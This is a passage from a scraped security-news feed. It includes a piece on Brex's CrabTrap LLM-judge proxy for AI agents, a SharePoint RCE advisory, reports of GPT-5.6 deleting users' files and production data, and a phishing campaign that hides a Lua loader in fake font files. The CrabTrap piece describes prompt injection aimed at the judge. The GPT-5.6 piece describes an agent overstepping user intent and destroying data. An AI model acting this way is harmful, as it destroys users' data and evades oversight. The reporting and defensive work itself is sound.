fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. </p><p>“Any <a href="https://venturebeat.com/orchestration/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models">agentic system</a> with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. </p><p>Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.</p><p>Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.</p><p>Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”</p><p>“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”</p><p>Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. </p><p>This made the transport layer a core architectural component and natural starting point, he said. </p><p>By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set <i>HTTP_PROXY</i> and <i>HTTPS_PROXY</i> in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.</p><p>However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”</p><p>“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. </p><h2>The LLM-as-a-judge training loop</h2><p>CrabTrap combines deterministic static rules with an <a href="https://venturebeat.com/infrastructure/monitoring-llm-behavior-drift-retries-and-refusal-patterns">LLM-as-a-judge</a> for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.</p><p>The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.</p><p>“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”</p><p>Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. </p><p>From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. </p><p>All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. </p><p>“That closes the loop between observed denials and policy refinement,” Franceschi said. </p><h2>Core challenges and roadblocks </h2><p>Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. </p><p>However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said. </p><p>The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. </p><p>Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. </p><h2>Results, and where CrabTrap might evolve</h2><p>Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. </p><p>Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. </p><p>“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. </p><p>Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”</p><p>Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.</p><p>“The proxy became a discovery tool, not just an enforcement one,” he said. </p><h2>Areas for growth (and input from the open-source community)</h2><p>Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. </p><p>Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.</p><p>Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. </p><p>As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. </p><p>“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. </p><p>Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. </p><p>Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it). </p><p>The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”</p><p>“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. </p><h2>What other builders can learn from CrabTrap</h2><p>The response has been stronger than expected. <a href="https://github.com/brexhq/CrabTrap">CrabTrap has more than 700 stars on GitHub</a>. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.</p><p>The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. </p><p>“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-58644: Microsoft SharePoint Server Unauthenticated Remote Code Execution Vulnerability Exploited in the Wild]]></title>
<description><![CDATA[OverviewOn July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the d...]]></description>
<link>https://tsecurity.de/de/3676852/it-security-nachrichten/cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676852/it-security-nachrichten/cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild/</guid>
<pubDate>Fri, 17 Jul 2026 20:53:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 14, 2026, Microsoft </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>published</span></a><span> a security advisory addressing </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-58644"><span>CVE-2026-58644</span></a><span>, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data (</span><a href="https://cwe.mitre.org/data/definitions/502.html"><span>CWE-502</span></a><span>) and allows an unauthenticated attacker to execute arbitrary code.</span></p><p><span>Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities (</span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span>KEV</span></a><span>) catalog on July 16, 2026. In parallel, CISA </span><a href="https://www.cisa.gov/news-events/alerts/2026/07/14/cisa-urges-sharepoint-hardening-after-new-exploitations"><span>published</span></a><span> guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts.</span></p><p><span>Affected products:</span></p><ul><li><p><span>Microsoft SharePoint Enterprise Server 2016</span></p></li><li><p><span>Microsoft SharePoint Server 2019</span></p></li><li><p><span>Microsoft SharePoint Server Subscription Edition</span></p></li></ul><h2>Mitigation guidance</h2><p><span>Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis.</span></p><p><span>Microsoft’s recommendations:</span></p><ul><li><p><span>Apply the July 14, 2026 security updates for all affected SharePoint versions.</span></p></li><li><p><span>Verify that security updates completed successfully across all SharePoint servers.</span></p></li><li><p><span>Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application.</span></p></li><li><p><span>Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation.</span></p></li><li><p><span>Initiate incident response procedures if exploitation artifacts are detected.</span></p></li></ul><p><span>Microsoft and CISA </span><a href="https://www.cisa.gov/news-events/alerts/2026/07/14/cisa-urges-sharepoint-hardening-after-new-exploitations"><span>recommend</span></a><span> monitoring for the following security detections associated with observed SharePoint exploitation activity.</span></p><p><span>AMSI / Microsoft Defender detections:</span></p><ul><li><p><span>Exploit:Script/SuspSignoutReqBody.A</span></p></li></ul><ul><li><p><span>Request body scanning</span></p></li><li><p><span>SharePoint Server Subscription Edition</span></p></li><li><p><span>Microsoft reports observed exploitation attempts are blocked by this signature.</span></p></li></ul><ul><li><p><span>Exploit:Script/ToolPaneAuthBypass.A</span></p></li></ul><ul><li><p><span>Request header scanning</span></p></li><li><p><span>Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition.</span></p></li></ul><ul><li><p><span>Exploit:Script/ToolPaneAuthBypass</span></p></li></ul><p><span>At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed.</span></p><p><span>Administrators should consult Microsoft’s </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>advisory</span></a><span> for the most current remediation guidance and update availability.</span></p><h2>Rapid7 customers</h2><h3>Exposure Command, InsightVM, and Nexpose</h3><p><span>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release.</span></p><h2>Updates</h2><ul><li><span><strong>July 17, 2026</strong></span><span>: Initial publication.</span></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[Introducing Mobile Layout for Amazon Quick dashboards]]></title>
<description><![CDATA[Teams that rely on dashboards for daily decisions often must pinch and zoom to interact with controls originally designed for larger displays. Checking revenue during a morning standup, reviewing pipeline metrics between meetings, or monitoring operations while traveling all require extra effort ...]]></description>
<link>https://tsecurity.de/de/3676650/ai-nachrichten/introducing-mobile-layout-for-amazon-quick-dashboards/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676650/ai-nachrichten/introducing-mobile-layout-for-amazon-quick-dashboards/</guid>
<pubDate>Fri, 17 Jul 2026 19:19:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Teams that rely on dashboards for daily decisions often must pinch and zoom to interact with controls originally designed for larger displays. Checking revenue during a morning standup, reviewing pipeline metrics between meetings, or monitoring operations while traveling all require extra effort when the dashboard was built for a desktop screen. Mobile Layout for Amazon […]]]></content:encoded>
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<title><![CDATA[AI workloads shake up observability market]]></title>
<description><![CDATA[Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.



Vendors are investing heavily in AI observability, autonomous investigati...]]></description>
<link>https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</link>
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<pubDate>Fri, 17 Jul 2026 18:28:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/972187/how-to-shop-for-network-observability-tools.html" target="_blank">Observability platforms</a> are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.</p>



<p class="wp-block-paragraph">Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest <a href="https://www.gartner.com/en/documents/8114397" target="_blank" rel="noreferrer noopener">Magic Quadrant for Observability Platforms</a>.</p>



<p class="wp-block-paragraph">Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.</p>



<p class="wp-block-paragraph">There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)</p>



<p class="wp-block-paragraph">Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.</p>



<h2 class="wp-block-heading">AI observability emerges as a key differentiator</h2>



<p class="wp-block-paragraph">Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies <a href="https://www.networkworld.com/article/4047640/ai-networking-success-requires-deep-real-time-observability.html" target="_blank">AI observability</a> as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.</p>



<p class="wp-block-paragraph">The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality. </p>



<p class="wp-block-paragraph">“The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.</p>



<h2 class="wp-block-heading">Cost management becomes a top priority</h2>



<p class="wp-block-paragraph">While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.</p>



<p class="wp-block-paragraph">As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.</p>



<p class="wp-block-paragraph">Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.</p>



<h2 class="wp-block-heading">OpenTelemetry is table stakes as consolidation continues</h2>



<p class="wp-block-paragraph">The growing impact of open standards is a major shift for observability, Gartner notes.</p>



<p class="wp-block-paragraph">The widespread adoption of <a href="https://www.networkworld.com/article/3621642/5-reasons-why-2025-will-be-the-year-of-opentelemetry.html" target="_blank">OpenTelemetry</a> and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.</p>



<p class="wp-block-paragraph">As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.</p>



<h2 class="wp-block-heading">The rise of operational intelligence</h2>



<p class="wp-block-paragraph">As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.</p>



<p class="wp-block-paragraph">For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.</p>
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<title><![CDATA[WHOOP Patent Application Outlines Wrist-Based Glucose Monitoring]]></title>
<description><![CDATA[A newly published WHOOP patent application reveals a possible path toward wrist-based glucose monitoring, while major accuracy and regulatory questions remain.]]></description>
<link>https://tsecurity.de/de/3676339/it-nachrichten/whoop-patent-application-outlines-wrist-based-glucose-monitoring/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676339/it-nachrichten/whoop-patent-application-outlines-wrist-based-glucose-monitoring/</guid>
<pubDate>Fri, 17 Jul 2026 16:33:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A newly published WHOOP patent application reveals a possible path toward wrist-based glucose monitoring, while major accuracy and regulatory questions remain.]]></content:encoded>
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<title><![CDATA[When Patching Is Already Too Late]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:16 The discussion makes a bold claim: many organizations no longer have enough time to patch before attackers compromise vulnerable systems.

Instead of treating prevention as the primary strategy, the emphasis shifts toward detecti...]]></description>
<link>https://tsecurity.de/de/3676308/it-security-video/when-patching-is-already-too-late/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676308/it-security-video/when-patching-is-already-too-late/</guid>
<pubDate>Fri, 17 Jul 2026 16:19:12 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:16 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/vqzhfsVUgAg?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The discussion makes a bold claim: many organizations no longer have enough time to patch before attackers compromise vulnerable systems.<br />
<br />
Instead of treating prevention as the primary strategy, the emphasis shifts toward detecting intrusions quickly and responding before attackers can cause significant damage.<br />
<br />
This doesn't mean patching is unimportant—it remains a fundamental security practice. The point is that patching alone may not be sufficient against fast-moving threats. Organizations also need strong monitoring, detection, and incident response to reduce the impact when prevention falls short.<br />
<br />
Security today is increasingly about resilience, not just prevention.<br />
<br />
Has cybersecurity reached the point where detection and response deserve as much attention as prevention?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#IncidentResponse #PatchManagement #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[Meta AI Updates Its Chatbot To Alert Parents About Teen Self-Harm]]></title>
<description><![CDATA[The social media giant Meta just added a major safety feature to its digital assistant. When younger users have conversations that involve thoughts of suicide or hurting themselves, the company will step in. Instead of just showing crisis hotlines on the screen, the system will now send a direct ...]]></description>
<link>https://tsecurity.de/de/3676171/ios-mac-os/meta-ai-updates-its-chatbot-to-alert-parents-about-teen-self-harm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676171/ios-mac-os/meta-ai-updates-its-chatbot-to-alert-parents-about-teen-self-harm/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The social media giant Meta just added a major safety feature to its digital assistant. When younger users have conversations that involve thoughts of suicide or hurting themselves, the company will step in. Instead of just showing crisis hotlines on the screen, the system will now send a direct notification right to a linked parent or guardian. The change aims to help families address these serious issues in real life.



Human reviewers check the flagged chats before sending parental alerts



To make this work, the platform requires families to opt into its specific supervision tools first. Once those settings are active, the artificial intelligence monitors the background chats for any signs of distress. However, a computer program does not make the final call on its own.



The company stated that a real person will manually review every conversation flagged by the AI. This extra step helps prevent false alarms from reaching parents over harmless chats. If a reviewer decides the context is unclear, the system will still notify the parent just to be safe.



The safety rollout is currently live for users in the United States, Canada, the United Kingdom, and Australia. The company plans to expand this coverage to more countries later this year. Looking forward, the platform is also building a tool to contact emergency services directly if a chat suggests an immediate risk to a user's life.



Ultimately, this update gives families a practical tool to handle difficult situations. While no monitoring program is flawless, relying on human reviewers shows a careful approach to keeping vulnerable users safe online.]]></content:encoded>
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<title><![CDATA[OpenAI acknowledges GPT-5.6 may accidentally delete files, calls it an ‘honest mistake’]]></title>
<description><![CDATA[OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”



Reports of the flagship LLMs deleting files emerged shortly after the company launc...]]></description>
<link>https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 12:03:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”</p>



<p class="wp-block-paragraph">Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer <a href="https://x.com/mattshumer_/status/2075657271401390161" target="_blank" rel="noreferrer noopener">taking to X</a> to report that GPT-5.6-Sol had “just accidentally deleted almost all” of his Mac’s files.</p>



<p class="wp-block-paragraph">Just days later, software engineer Bruno Lemos <a href="https://x.com/brunolemos/status/2076769881534398974">posted on X</a> that the same model had deleted his entire production database.</p>



<p class="wp-block-paragraph">In response to these incidents, the company’s engineering lead for Codex, Thibault Sottiaux, <a href="https://x.com/thsottiaux/status/2077630111499882637" target="_blank" rel="noreferrer noopener">wrote on X</a> that internal investigations have revealed that these deletion incidents are more likely to happen when “full access mode is enabled, and Codex is run without sandboxing protections, including without <a href="https://learn.chatgpt.com/docs/sandboxing/auto-review" target="_blank" rel="noreferrer noopener">auto review</a> being enabled.”</p>



<p class="wp-block-paragraph">In cases where full access mode is granted, the model, Sottiaux wrote, “attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead.”</p>



<p class="wp-block-paragraph">Ironically, OpenAI’s explanation also aligns with findings in its own <a href="https://deploymentsafety.openai.com/gpt-5-6/evaluations-with-challenging-prompts" target="_blank" rel="noreferrer noopener">GPT-5.6 system model card</a>, which notes that the latest model family exhibited this broader class of misaligned behavior slightly more often than GPT-5.5 during the company’s internal deployment simulations.</p>



<p class="wp-block-paragraph">“Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions,” the model card states.</p>



<p class="wp-block-paragraph">OpenAI defines severity level 3 as “misaligned behavior that a reasonable user would likely not anticipate and strongly object to, ‘including’ deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services.”</p>



<p class="wp-block-paragraph">The system card also documents examples of the said behavior, particularly related to deletion.</p>



<p class="wp-block-paragraph">In one simulation, after a user authorized the deletion of three specific remote virtual machines, GPT-5.6 was unable to locate them and, instead of asking for clarification, substituted three different virtual machines, terminated their active processes and force-removed their worktrees.</p>



<p class="wp-block-paragraph">Further, the model card states that GPT-5.6 “shows a greater tendency than GPT-5.5 to go beyond the user’s intent, including by taking or attempting actions that the user had not asked for,” though it adds that the absolute rate of such behavior remains low and can be attributed to the model’s greater persistence when pursuing user goals.</p>



<p class="wp-block-paragraph">The company, however, according to Sottiaux, is taking steps to mitigate the risk.</p>



<p class="wp-block-paragraph">“This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them,” the engineering lead wrote on X.</p>



<p class="wp-block-paragraph">“We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards,” Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen “extremely rarely.”</p>



<p class="wp-block-paragraph">OpenAI’s GPT 5.6 is not the only model that has “accidentally” deleted databases and files.</p>



<p class="wp-block-paragraph">In July 2025, an AI coding agent from Replit <a href="https://x.com/jasonlk/status/1946069562723897802">deleted a live production database</a> belonging to SaaStr founder Jason Lemkin despite an explicit code freeze, prompting the company to introduce additional safeguards around production access.</p>



<p class="wp-block-paragraph">More recently, in April 2026, a Cursor AI coding agent <a href="https://x.com/lifeofjer/status/2048103471019434248">deleted PocketOS’s production database</a> and its backups after mistakenly identifying the target environment, underscoring the operational risks enterprises face when AI agents are granted broad, unsupervised access to production systems.</p>
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<title><![CDATA[Fake TTF files deliver stealthy malware in global phishing campaign]]></title>
<description><![CDATA[Threat actors are now abusing an ordinary font file to deliver low-detection malware capable of stealing credentials and establishing persistence on compromised Windows systems.



According to a new research from Fortinet’s FortiGuard Labs, a global phishing campaign is actively using heavily ob...]]></description>
<link>https://tsecurity.de/de/3675510/it-security-nachrichten/fake-ttf-files-deliver-stealthy-malware-in-global-phishing-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675510/it-security-nachrichten/fake-ttf-files-deliver-stealthy-malware-in-global-phishing-campaign/</guid>
<pubDate>Fri, 17 Jul 2026 10:54:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Threat actors are now abusing an ordinary font file to deliver low-detection malware capable of stealing credentials and establishing persistence on compromised Windows systems.</p>



<p class="wp-block-paragraph">According to a new research from Fortinet’s FortiGuard Labs, a global phishing campaign is actively using heavily obfuscated JavaScript and a Lua-based loader posing as a TrueType Font (TTF) file to evade security and drop RATs and infostealers.</p>



<p class="wp-block-paragraph">A TTF file is a standard font file used by operating systems and applications to display text.</p>



<p class="wp-block-paragraph">The campaign has been deploying malware families such as <a href="https://www.csoonline.com/article/573813/malware-builder-uses-fresh-tactics-to-hit-victims-with-agent-tesla-rat.html">Agent Tesla</a>, Remcos, <a href="https://www.csoonline.com/article/4064720/xworm-campaign-shows-a-shift-toward-fileless-malware-and-in-memory-evasion-tactics.html">XWorm</a>, and a Snake Keylogger variant known as Best Private LOGGER, since at least late March 2026. “In these attacks, the threat actor impersonates several well-known companies, using the guise of business cooperation to launch phishing attacks,” FortiGuard researchers said in a blog <a href="https://www.fortinet.com/blog/threat-research/the-ttf-trap-a-global-campaign-of-a-low-detection-lua-loader" target="_blank" rel="noreferrer noopener">post</a>.</p>



<p class="wp-block-paragraph">Talking about how a new attack technique seems to still rely on conventional phishing tricks, <a href="https://www.linkedin.com/in/shane-barney-69026528/" target="_blank" rel="noreferrer noopener">Shane Barney</a>, CISO at Keeper Security, said, “The most sophisticated technical evasion in the world still starts the same way: someone opens an email from what looks like a trusted company and acts on it.”</p>



<p class="wp-block-paragraph">“The obfuscation layers, the Lua loader disguised as a font file, the fileless execution chain – all of it exists to survive detection after that human decision has already been made, and organizations would do well to keep that in their sightline,” he added.</p>



<h2 class="wp-block-heading">Business and payment-themed phishing lures used</h2>



<p class="wp-block-paragraph">According to the researchers, victims receive phishing emails impersonating well-known companies and using business collaboration or payment-related themes to trick recipients into opening compressed archives. These archives contain the obfuscated JScript that establishes persistence before dropping either a legitimate Autolt executable or a LuaJIT interpreter, along with a malicious script packaged within a .ttf extension.</p>



<p class="wp-block-paragraph">The fake font file functions as a Lua-based loader that runs multiple de-obfuscation steps before decrypting and executing shellcode directly in memory.</p>



<p class="wp-block-paragraph">“Security controls cannot treat a file extension as proof of file type or intent,” said <a href="https://www.linkedin.com/in/jason-soroko-19b41920/" target="_blank" rel="noreferrer noopener">Jason Soroko</a>, senior fellow at Sectigo. “Each component (of the campaign) may appear less suspicious when reviewed alone, while the combined sequence leads to in-memory execution of RATs and infostealers.”</p>



<p class="wp-block-paragraph">Some of the new variants, the researchers pointed out, are getting more sophisticated by introducing segmented shellcode encryption, Vectored Exception Handler (VEH)- based runtime decryption, AMSI and ETW bypasses, API unhooking, and other anti-analysis techniques designed to evade endpoint defenses.</p>



